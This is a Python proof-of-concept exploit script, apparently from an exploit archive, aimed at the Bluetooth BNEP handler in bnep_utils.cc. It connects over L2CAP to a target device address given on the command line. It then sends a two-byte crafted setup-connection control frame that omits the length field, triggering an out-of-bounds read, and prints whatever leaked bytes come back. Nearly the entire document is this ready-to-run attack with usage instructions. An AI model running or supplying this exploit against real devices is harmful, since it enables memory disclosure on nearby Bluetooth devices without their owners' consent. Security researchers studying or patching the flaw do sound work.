| 
	 import os import sys import struct   import bluetooth     BNEP_PSM = 15 BNEP_FRAME_CONTROL = 0x01   # Control types (parsed by bnep_process_control_packet() in bnep_utils.cc) BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x01     def oob_read(src_bdaddr, dst):       bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)     bnep.settimeout(5)     bnep.bind((src_bdaddr, 0))     print 'Connecting to BNEP...'     bnep.connect((dst, BNEP_PSM))     bnep.settimeout(1)     print "Triggering OOB read (you may need a debugger to verify that it's actually happening)..."       # This crafted BNEP packet just contains the BNEP_FRAME_CONTROL frame type,     # plus the BNEP_SETUP_CONNECTION_REQUEST_MSG control type.     # It doesn't include the 'len' field, therefore it is read from out of bounds     bnep.send(struct.pack('<BB', BNEP_FRAME_CONTROL, BNEP_SETUP_CONNECTION_REQUEST_MSG))     try:         data = bnep.recv(3)     except bluetooth.btcommon.BluetoothError:         data = ''       if data:         print '%r' % data     else:         print '[No data]'       print 'Closing connection.'     bnep.close()     def main(src_hci, dst):     os.system('hciconfig %s sspmode 0' % (src_hci,))     os.system('hcitool dc %s' % (dst,))       oob_read(src_hci, dst)     if __name__ == '__main__':     if len(sys.argv) < 3:         print('Usage: python bnep02.py <src-bdaddr> <dst-bdaddr>')     else:         if os.getuid():             print 'Error: This script must be run as root.'         else:             main(sys.argv[1], sys.argv[2]) 
	
  | 
 
 
|   | 
 
  |